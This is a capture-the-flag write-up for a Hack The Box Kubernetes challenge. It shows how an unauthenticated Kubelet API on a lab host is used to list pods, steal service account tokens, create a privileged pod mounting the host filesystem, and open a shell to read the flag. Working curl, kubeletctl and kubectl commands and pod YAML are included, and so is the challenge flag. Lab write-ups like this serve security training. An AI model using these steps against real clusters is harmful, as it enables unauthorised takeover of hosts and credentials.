We’ve installed our Kubernetes cluster inside a steam powered computer, however there’s a lot of smoke, therefore we think a bolt is missing. Could you please investigate?
Category: cloud
Solver: t0b1
Flag: HTB{dOn7_3Xpo53_Ku83L37}
Writeup
According to the challenge description, we will face a Kubernetes cluster which we will have to exploit.
Using nmap
, we find the following open ports, most of which appear to be known Kubernetes ports:
- 22/tcp - ssh
- 2379/tcp - etcd
- 2380/tcp - etcd
- 8443/tcp - Kubernetes API (normally on port 6433)
- 10249/tcp - Kubelet API
- 10250/tcp - Kubelet API
- 10256/tcp - Kube-Proxy health check
First, we do some basic checks against the Kubernetes API port. A curl -k https://10.129.228.17/livez
returns ok
. That shows the Kubernetes is alive and running. Next, we check whether the anonymous user has too much access rights by running curl -k -X GET -H 'Accept: application/json' https://10.129.228.17:8443/api/v1/namespaces/default/pods/
. However, that is not the case, as we receive a message that the anonymous user is not allowed to list the pods.
Next, we examine the Kubelet API ports. We did not find any API documentation for the Kubelet API apart from the source code in the GitHub repository [1]. We check whether we can access the API and run curl -k https://10.129.228.17:10250/pods
and voila, we receive a list of all pods running on the server! Apart from the default pods such as the kube-controller
or coredns
in the kube-system
namespace, only an nginx
container is running inside the default
namespace. The nginx
pod is running a single nginx:1.14.2
container which is not exposed to any node port.
Nevertheless, the Kubelet API is quite powerful and allows us to execute commands inside of pods. As using the API via curl
is quite complex, we use the kubeletctl
[2] tool written by CyberArk to ease the process. We run kubeletctl --server 10.129.228.17 scan token
to scan for potentially available service account tokens using which we could interact with the Kubernetes API. We receive two tokens, one from the nginx
pod in the default
namespace and one from the kube-proxy
pod in the kube-system
namespace.
To check the permissions of the token, we configure kubectl
accordingly using the following config.
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.129.228.17:8443
name: steamcloud
contexts:
- context:
cluster: steamcloud
namespace: kube-system
user: kube-system
name: kube-system
- context:
cluster: steamcloud
namespace: default
user: nginx
name: nginx
current-context: nginx
kind: Config
preferences: {}
users:
- name: kube-system
user:
token: <token>
- name: nginx
user:
token: <token>
Running kubectl config use-context nginx
first, and a kubectl get pods
afterward, in fact returns us all pods from the default
namespace! For further access checks, we use kubectl auth can-i --list
and find that we can create new pods!
Using the following basic YAML with kubectl apply -f test.yaml
we validate that. Here, it helps that we found the nginx:1.14.2
image earlier, as the VM has no access to the internet and hence couldn’t pull any other Docker images.
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: nginx
image: nginx:1.14.2
Aaaand, kubectl
returns pod/test created
. Let’s check if we can create privileged pods and mount the host filesystem into it.
apiVersion: v1
kind: Pod
metadata:
name: malicious
spec:
containers:
- name: nginx
image: nginx:1.14.2
securityContext:
privileged: true
ports:
- containerPort: 80
volumeMounts:
- name: noderoot
mountPath: /mnt/host
volumes:
- name: noderoot
hostPath:
path: /
type: Directory
And again, pod/malicious created
. However, our service account is not allowed to exec into containers. But, as we already noted earlier, we have access to the Kubelet API and can use it to execute commands inside containers. Using kubeletctl -i --server 10.129.228.17 exec "sh" -n default -p malicious -c nginx
we get a shell inside the malicious
pod. Now, we find the hosts file system at /mnt/host
and the flag at /mnt/host/root/flag.txt
: HTB{dOn7_3Xpo53_Ku83L37}
The last steps of the process can also be seen on the following image:
Trust the flag and don’t expose your Kubelet API!
Other resources
[1] https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go